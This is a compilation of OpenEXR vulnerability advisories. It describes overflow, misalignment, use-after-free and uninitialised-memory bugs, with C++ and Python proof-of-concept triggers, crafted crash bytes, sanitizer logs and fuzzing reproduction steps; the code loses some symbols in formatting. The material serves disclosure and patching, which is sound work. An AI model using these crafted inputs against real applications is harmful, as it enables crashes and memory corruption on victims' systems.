OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. In versions 3.4.0 through 3.4.9, 3.3.0 through 3.3.9, and 3.2.0 through 3.2.7, internaldwacompressor.h:1040 performs chan->width chan->bytesperelement in int32 arithmetic without a (sizet) cast. This is the same overflow pattern fixed in other decoders by CVE-2026-34589/34588/34544, but this line was missed. Versions 3.4.10, 3.3.10, and 3.2.8 contain a fix that addresses internaldwacompressor.h:1040.
OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. From 3.2.0 to before 3.2.7, 3.3.9, and 3.4.9, a misaligned memory write vulnerability exists in LossyDctDecoderexecute() in src/lib/OpenEXRCore/internaldwadecoder.h:749. When decoding a DWA or DWAB-compressed EXR file containing a FLOAT-type channel, the decoder performs an in-place HALF→FLOAT conversion by casting an unaligned uint8t row pointer to float and writing through it. Because the row buffer may not be 4-byte aligned, this constitutes undefined behavior under the C standard and crashes immediately on architectures that enforce alignment (ARM, RISC-V, etc.). On x86 it is silently tolerated at runtime but remains exploitable via compiler optimizations that assume aligned access. This vulnerability is fixed in 3.2.7, 3.3.9, and 3.4.9.
Summary
A heap-buffer-overflow (OOB read) occurs in the istreamnonparallelread function in ImfContextInit.cpp when parsing a malformed EXR file through a memory-mapped IStream. A signed integer subtraction produces a negative value that is implicitly converted to sizet, resulting in a massive length being passed to memcpy.
Affected Version
- OpenEXR main branch (commit at time of testing) - src/lib/OpenEXR/ImfContextInit.cpp, lines 121–136
Root Cause
ImfContextInit.cpp:121-126:
cpp int64t streamsz = s->size (); // e.g., 21 (actual file size) int64t nend = nread + (int64t)sz; // e.g., 17 + 4096 = 4113 if (streamsz > 0 && nend > streamsz) { sz = streamsz - nend; // 21 - 4113 = -4092 (signed) } // ... memcpy (buffer, data, sz); // sz is sizet → wraps to 0xFFFFFFFFFFFFF004
sz is of type sizet (unsigned), but streamsz - nend yields a negative int64t value. This negative value is implicitly converted to sizet, wrapping around to a value close to 2^64, which is then passed to memcpy causing a heap-buffer-overflow.
Suggested fix: sz = streamsz - nend → sz = streamsz - nread
Reproduce
Build OpenEXR as static libraries with ASAN enabled, then compile the PoC below.
PoC Code:
cpp #include <cstdint> #include <cstring> #include <iostream>
#include <ImfMultiPartInputFile.h> #include <ImfInputPart.h> #include <ImfHeader.h>
OPENEXRIMFINTERNALNAMESPACEHEADERENTER
class MemMapIStream : public IStream { public: MemMapIStream (const uint8t data, sizet len) : IStream ("pocinput") , data (reinterpretcast<const char> (data)) , size (staticcast<int64t> (len)) , pos (0) {}
bool isMemoryMapped () const override { return true; }
bool read (char c[], int n) override { int64t avail = (pos < size) ? (size - pos) : 0; int64t copy = (staticcast<int64t> (n) < avail) ? n : avail; if (copy > 0) memcpy (c, data + pos, copy); pos += n; return pos <= size; }
char readMemoryMapped (int n) override { if (pos + n > size) throw IEXNAMESPACE::InputExc ("read past end"); const char p = data + pos; pos += n; return constcast<char> (p); }
uint64t tellg () override { return staticcast<uint64t> (pos); } void seekg (uint64t pos) override { pos = staticcast<int64t> (pos); }
int64t size () override { return size; }
private: const char data; int64t size; int64t pos; };
OPENEXRIMFINTERNALNAMESPACEHEADEREXIT
int main () { static const uint8t crashdata[] = { 0x76, 0x2f, 0x31, 0x01, 0x02, 0x06, 0x00, 0x00, 0x74, 0x69, 0x6c, 0x65, 0x73, 0x00, 0x20, 0x00, 0x00, 0x53, 0x00, 0x00, 0x00 };
try { Imf::MemMapIStream stream (crashdata, sizeof (crashdata)); Imf::MultiPartInputFile file (stream); } catch (const std::exception& e) { std::cout << "Exception: " << e.what () << "\n"; }
return 0; }
PoC Input: https://drive.google.com/file/d/1VhjdK11LA0LHdW1mJJIQEo64mc5tpOUV/view?usp=drivelink
ASAN Log
==305348==ERROR: AddressSanitizer: negative-size-param: (size=-4096) #0 0x62aee9fc732a in asanmemcpy (/home/wjddn0623/fuzzing/openexr/exrdecodefuzzer+0x23932a) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0) #1 0x62aeea0e3377 in Imf40::istreamnonparallelread(privexrcontextt const, void, void, unsigned long, unsigned long, int ()(privexrcontextt const, int, char const, ...)) /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXR/ImfContextInit.cpp:136:21 #2 0x62aeea15e75b in dispatchread /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/context.c:51:16 #3 0x62aeea19da19 in scratchseqskip /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/parseheader.c:202:29 #4 0x62aeea197ec9 in checkpopulatetiles /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/parseheader.c:1560:9 #5 0x62aeea197ec9 in checkreqattr /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/parseheader.c:2020:24 #6 0x62aeea197ec9 in pullattr /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/parseheader.c:2085:10 #7 0x62aeea197ec9 in internalexrparseheader /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/parseheader.c:2848:18 #8 0x62aeea15f578 in exrstartread /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/context.c:270:49 #9 0x62aeea0d8130 in Imf40::Context::Context(char const, Imf40::ContextInitializer const&, Imf40::Context::readmodet) /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXR/ImfContext.cpp:124:10 #10 0x62aeea0633ab in Imf40::MultiPartInputFile::MultiPartInputFile(char const, Imf40::ContextInitializer const&, int, bool) /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXR/ImfMultiPartInputFile.cpp:59:7 #11 0x62aeea0649de in Imf40::MultiPartInputFile::MultiPartInputFile(Imf40::IStream&, int, bool) /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXR/ImfMultiPartInputFile.cpp:96:7 #12 0x62aeea00d522 in fuzzcppheaders(char const, unsigned long) /home/wjddn0623/fuzzing/openexr/exrdecodefuzzer.cc:167:31 #13 0x62aeea00d522 in fuzzcppapi(char const, unsigned long) /home/wjddn0623/fuzzing/openexr/exrdecodefuzzer.cc:460:5 #14 0x62aeea00a156 in LLVMFuzzerTestOneInput /home/wjddn0623/fuzzing/openexr/exrdecodefuzzer.cc:927:5 #15 0x62aee9f15414 in fuzzer::Fuzzer::ExecuteCallback(unsigned char const, unsigned long) (/home/wjddn0623/fuzzing/openexr/exrdecodefuzzer+0x187414) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0) #16 0x62aee9efe546 in fuzzer::RunOneTest(fuzzer::Fuzzer, char const, unsigned long) (/home/wjddn0623/fuzzing/openexr/exrdecodefuzzer+0x170546) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0) #17 0x62aee9f03ffa in fuzzer::FuzzerDriver(int, char, int ()(unsigned char const, unsigned long)) (/home/wjddn0623/fuzzing/openexr/exrdecodefuzzer+0x175ffa) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0) #18 0x62aee9f2e7b6 in main (/home/wjddn0623/fuzzing/openexr/exrdecodefuzzer+0x1a07b6) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0) #19 0x71035ee2a1c9 in libcstartcallmain csu/../sysdeps/nptl/libcstartcallmain.h:58:16 #20 0x71035ee2a28a in libcstartmain csu/../csu/libc-start.c:360:3 #21 0x62aee9ef9114 in start (/home/wjddn0623/fuzzing/openexr/exrdecodefuzzer+0x16b114) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)
0x503000000235 is located 0 bytes after 21-byte region 0x503000000220,0x503000000235) allocated by thread T0 here: #0 0x62aeea007c61 in operator new[ (/home/wjddn0623/fuzzing/openexr/exrdecodefuzzer+0x279c61) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0) #1 0x62aee9f15325 in fuzzer::Fuzzer::ExecuteCallback(unsigned char const, unsigned long) (/home/wjddn0623/fuzzing/openexr/exrdecodefuzzer+0x187325) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0) #2 0x62aee9efe546 in fuzzer::RunOneTest(fuzzer::Fuzzer, char const, unsigned long) (/home/wjddn0623/fuzzing/openexr/exrdecodefuzzer+0x170546) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0) #3 0x62aee9f03ffa in fuzzer::FuzzerDriver(int, char, int ()(unsigned char const, unsigned long)) (/home/wjddn0623/fuzzing/openexr/exrdecodefuzzer+0x175ffa) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0) #4 0x62aee9f2e7b6 in main (/home/wjddn0623/fuzzing/openexr/exrdecodefuzzer+0x1a07b6) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0) #5 0x71035ee2a1c9 in libcstartcallmain csu/../sysdeps/nptl/libcstartcallmain.h:58:16 #6 0x71035ee2a28a in libcstartmain csu/../csu/libc-start.c:360:3 #7 0x62aee9ef9114 in start (/home/wjddn0623/fuzzing/openexr/exrdecodefuzzer+0x16b114) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)
SUMMARY: AddressSanitizer: negative-size-param (/home/wjddn0623/fuzzing/openexr/exrdecodefuzzer+0x23932a) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0) in asanmemcpy ==305348==ABORTING
Impact
- DoS — Any application that opens a crafted EXR file will crash immediately - CWE-195 (Signed to Unsigned Conversion Error) → CWE-122 (Heap-based Buffer Overflow) - Affects any application using an IStream implementation where isMemoryMapped() returns true
OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. From versions 3.0.0 to before 3.2.9, 3.3.0 to before 3.3.11, and 3.4.0 to before 3.4.11, readVariableLengthInteger() decodes a variable-length integer from untrusted EXR input without bounding the shift count. After enough continuation bytes, the code executes a left shift by 70 on a 64-bit value, which is undefined behavior. This issue has been patched in versions 3.2.9, 3.3.11, and 3.4.11.
OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. From 3.2.0 to before 3.2.7, 3.3.9, and 3.4.9, a signed integer overflow exists in undopxr24impl() in src/lib/OpenEXRCore/internalpxr24.c at line 377. The expression (uint64t)(w 3) computes w 3 as a signed 32-bit integer before casting to uint64t. When w is large, this multiplication constitutes undefined behavior under the C standard. On tested builds (clang/gcc without sanitizers), two's-complement wraparound commonly occurs, and for specific values of w the wrapped result is a small positive integer, which may allow the subsequent bounds check to pass incorrectly. If the check is bypassed, the decoding loop proceeds to write pixel data through dout, potentially extending far beyond the allocated output buffer. This vulnerability is fixed in 3.2.7, 3.3.9, and 3.4.9.
Summary There is a use-after-free in PyObjectStealAttrString of pyOpenEXRold.cpp.
This bug was found with ZeroPath.
Details
The legacy adapter defines PyObjectStealAttrString that calls PyObjectGetAttrString to obtain a new reference, immediately decrefs it, and returns the pointer. Callers then pass this dangling pointer to APIs like PyLongAsLong/PyFloatAsDouble, resulting in a use-after-free. This is invoked in multiple places (e.g., reading PixelType.v, Box2i, V2f, etc.).
https://github.com/AcademySoftwareFoundation/openexr/blob/b3a19903db0672c63055023aa788e592b16ec3c5/src/wrappers/python/PyOpenEXRold.cpp#L109-L115
https://github.com/AcademySoftwareFoundation/openexr/blob/b3a19903db0672c63055023aa788e592b16ec3c5/src/wrappers/python/PyOpenEXRold.cpp#L380-L387
https://github.com/AcademySoftwareFoundation/openexr/blob/b3a19903db0672c63055023aa788e592b16ec3c5/src/wrappers/python/PyOpenEXRold.cpp#L1258-L1286
PoC
py import OpenEXR, Imath
Any small EXR will do - use one from OpenEXR test images or any project file path = "anysmall.exr"
Property returns a fresh temporary int subclass, so the buggy helper decrefs it to zero before passing it to PyLongAsLong => UAF. class FreshInt(int): def new(cls, v): return int.new(cls, v) def del(self): # stir the heap to make the UAF obvious under PYTHONMALLOC=debug = bytearray(1000000)
class PixelTypeProxy: @property def v(self): return FreshInt(Imath.PixelType.FLOAT) # any small value is fine
f = OpenEXR.InputFile(path) channel() forces the wrapper to read pixeltype.v using the buggy helper which returns a dangling pointer print("About to trigger UAF...") f.channel("R", pixeltype=PixelTypeProxy()) print("If you get here without a crash, try again with AddressSanitizer.") running
shell PYTHONMALLOC=debug PYTHONDEVMODE=1 python3 pt.py
About to trigger UAF... Fatal Python error: Segmentation fault
Current thread 0x00000001f209a140 (most recent call first): File "/private/tmp/i/pt.py", line 24 in <module>
Current thread's C stack trace (most recent call first): Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at PyDumpStack+0x44 [0x1058c00f8] Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at faulthandlerdumpcstack+0x58 [0x1058d2f3c] Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at faulthandlerfatalerror+0x160 [0x1058d2e00] Binary file "/usr/lib/system/libsystemplatform.dylib", at sigtramp+0x38 [0x1841796a4] Binary file "/private/tmp/i/lib/python3.14/site-packages/OpenEXR.cpython-314-darwin.so", at Z16initOpenEXRoldP7object+0x1010 [0x105cb9e94] Binary file "/private/tmp/i/lib/python3.14/site-packages/OpenEXR.cpython-314-darwin.so", at Z16initOpenEXRoldP7object+0x1010 [0x105cb9e94] Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at methodvectorcallVARARGSKEYWORDS+0x94 [0x1057032bc] Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at PyObjectVectorcall+0x58 [0x1056f5044] Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at PyEvalEvalFrameDefault+0x9cac [0x1058312d8] Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at PyEvalEvalCode+0xf8 [0x105827130] Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at runmod+0xac [0x1058a2b60] Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at pyrunfile+0xa4 [0x1058a123c] Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at PyRunSimpleFileObject+0x100 [0x1058a07c0] Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at PyRunAnyFileObject+0x50 [0x1058a0424] Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at pymainrunfileobj+0xa4 [0x1058cfcd8] Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at pymainrunfile+0x48 [0x1058cfa20] Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at PyRunMain+0x354 [0x1058cef60] Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at pymainmain+0xe8 [0x1058cf3f8] Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at PyBytesMain+0x28 [0x1058cf494] Binary file "/usr/lib/dyld", at start+0x17bc [0x183d9eb98]
Extension modules: numpy.core.multiarrayumath, numpy.linalg.umathlinalg (total: 2) Segmentation fault: 11 PYTHONMALLOC=debug PYTHONDEVMODE=1 python3 pt.py
Impact
Completely depends on the context. Typical memory stuff related to UAFs.
Summary
A memory safety bug in the legacy OpenEXR Python adapter (the deprecated OpenEXR.InputFile wrapper) allow crashes and likely code execution when opening attacker-controlled EXR files or when passing crafted Python objects.
Integer overflow and unchecked allocation in InputFile.channel() and InputFile.channels() can lead to heap overflow (32 bit) or a NULL deref (64 bit).
This bug was found with ZeroPath.
Details
Integer overflow and unchecked allocation in InputFile.channel() and InputFile.channels() can lead to heap overflow (32 bit) or a NULL deref (64 bit), around here.
- In channel():
- Width and height are derived from the header dataWindow using int.
- typeSize is a sizet. The buffer size is computed as typeSize width height with no bounds checks.
- The result is passed to PyStringFromStringAndSize(NULL, size) which maps to PyBytesFromStringAndSize. That function expects Pyssizet. If the product overflows or exceeds PYSSIZETMAX, allocation fails or the value wraps.
- The return value is not checked. The code immediately calls PyStringAsString(r) and proceeds to build a FrameBuffer and calls readPixels(miny, maxy).
- On 64 bit: PyBytesFromStringAndSize returns NULL, the wrapper dereferences NULL and crashes.\ On 32 bit: the multiplication can wrap to a small positive size, producing a too-small allocation, after which readPixels writes typeSize width bytes per scanline for height lines into that buffer, causing a heap overflow.
- In channels() the same pattern appears for each requested channel. It also ignores per-channel subsampling when computing the allocation and when inserting the Slice it hardcodes xSampling=1, ySampling=1. If a file actually has subsampled channels this makes the stride and allocation inconsistent, which can also lead to over or under writes.
PoC
python writebigheaderthencrash.py import OpenEXR, Imath
OpenEXR sanity clamp for header coords is about INTMAX/2 - 1 INTMAX = (1 << 31) - 1 MAXCOORD = (INTMAX // 2) - 1 # 1073741822
Choose a scanline width that keeps row-bytes < 2^31 400,000,000 4 bytes = ~1.6 GB per scanline, which many codecs accept WIDTH = min(400000000, MAXCOORD + 1) # pixels HEIGHT = 64 # small height keeps the file tiny
Build windows from pixel counts dw = Imath.Box2i(Imath.V2i(0, 0), Imath.V2i(WIDTH - 1, HEIGHT - 1))
Robustly set NOCOMPRESSION across enum naming differences def nocompression(): # Try common names, else fallback to numeric 0 C = Imath.Compression for name in ("NOCOMPRESSION", "NONE", "NOCOMPRESSIONENUM"): if hasattr(C, name): return Imath.Compression(getattr(C, name)) return Imath.Compression(0)
hdr = { "dataWindow": dw, "displayWindow": dw, "channels": {"R": Imath.Channel(Imath.PixelType(Imath.PixelType.FLOAT))}, "compression": nocompression(), "lineOrder": Imath.LineOrder(Imath.LineOrder.INCREASINGY), }
Write just the header (no pixels) out = OpenEXR.OutputFile("bigheader.exr", hdr) out.close()
Now trigger the legacy bug: huge allocation request returns NULL, code fails to check f = OpenEXR.InputFile("bigheader.exr") print("Triggering crash...") f.channels(["R"])
$ python3 poc.py Triggering crash... libc++abi: terminating due to uncaught exception of type Iex34::InputExc: Unable to query scanline information Abort trap: 6 python3 poc.py
Impact Typical memory stuff.
Summary While fuzzing openexrexrcheckfuzzer, Valgrind reports a conditional branch depending on uninitialized data inside genericunpack. This indicates a use of uninitialized memory (CWE-457). The issue is reproducible with the current OSS-Fuzz harness and a single-file PoC.
Details
Environment: - Tooling: valgrind --tool=memcheck --track-origins=yes - Target: openexrexrcheckfuzzer - OS: Ubuntu 20.04.6 LTS focal x8664 - openexr version and Git-commit hash: openexr 3.4.2 | commit fd657e8a41e157e5841c7cc2e2a5efe094b069a1 (grafted, HEAD -> main, origin/main, origin/HEAD)
Function: genericunpack
Possible root cause (based on observed symptoms): The unpacker is branching on bytes in a scratch buffer that were never written because the decode step didn’t fully populate it. - The first use flagged is in genericunpack(). That function reads from the decompressed/expanded pixel buffer to scatter data into the framebuffer. A “conditional jump depends on uninitialised value(s)” means it’s consulting bytes in that buffer before they were written. - Valgrind says the uninitialised value “was created by a heap allocation (malloc)”, not the stack: this matches a per-tile/per-scanline decode scratch buffer allocated in exrdecodingrun().
Valgrind Trace (top frames): bash ==454== Conditional jump or move depends on uninitialised value(s) ==454== at 0x4539BE: genericunpack (in /out/openexrexrcheckfuzzer) ==454== by 0x44B85F: exrdecodingrun (in /out/openexrexrcheckfuzzer) ==454== by 0x38BC5F: Imf40::(anonymous namespace)::TileProcess::rundecode(privexrcontextt const, int, Imf40::FrameBuffer const, std::1::vector<Imf40::Slice, std::1::allocator<Imf40::Slice> > const&) (in /out/openexrexrcheckfuzzer) ==454== by 0x388BE1: Imf40::TiledInputFile::Data::readTiles(int, int, int, int, int, int) (in /out/openexrexrcheckfuzzer) ==454== by 0x388619: Imf40::TiledInputFile::readTiles(int, int, int, int, int, int) (in /out/openexrexrcheckfuzzer) ==454== by 0x353755: Imf40::InputFile::Data::bufferedReadPixels(int, int) (in /out/openexrexrcheckfuzzer) ==454== by 0x352286: Imf40::InputFile::readPixels(int) (in /out/openexrexrcheckfuzzer) ==454== by 0x3190FA: Imf40::(anonymous namespace)::readMultiPart(Imf40::MultiPartInputFile&, bool, bool) (in /out/openexrexrcheckfuzzer) ==454== by 0x314C4D: Imf40::checkOpenEXRFile(char const, unsigned long, bool, bool, bool) (in /out/openexrexrcheckfuzzer) ==454== Uninitialised value was created by a heap allocation at 0x483B7F3: malloc (in /usr/lib/x8664-linux-gnu/valgrind/vgpreloadmemcheck-amd64-linux.so)
PoC In the attached archive, you will find: - The executable used for our tests. - The testcase used to trigger the bug.
To observe the bug, simply run the OSS-Fuzz helper script: bash git clone https://github.com/google/oss-fuzz.git cd oss-fuzz
python3 infra/helper.py buildimage openexr python3 infra/helper.py buildfuzzers --sanitizer=none openexr python3 infra/helper.py shell openexr
apt update && apt install -y valgrind ulimit -n 65535 valgrind --tool=memcheck --track-origins=yes /out/openexrexrcheckfuzzer /path/to/poc
Impact - Undefined Behavior - Potential crash - Denial of Service
Credit: Aldo Ristori archive0.zip
Update Note: Other saved testcases from the fuzzing campaign trigger the same underlying bug, but with a different manifestation. So there is one root cause (missing post-decode validation / zero-init before any unpack), with different call-sites. Below there are several archives, formatted like the previous one, that reproduce the other test cases.
Other observed sinks (distinct manifestations of the same bug):
Deep pointers path: genericunpackdeeppointers (deep scanline/tiled) archive1.zip
Deep sample table path: unpacksampletable (deep scanline) archive2.zip
Half conversion path: halftofloatbufferf16c via unpackhalftofloat3chanplanar archive3.zip
Deep compositing: CompositeDeepScanLine::readPixels → ThreadPool::addTask → LineCompositeTask::execute archive4.zip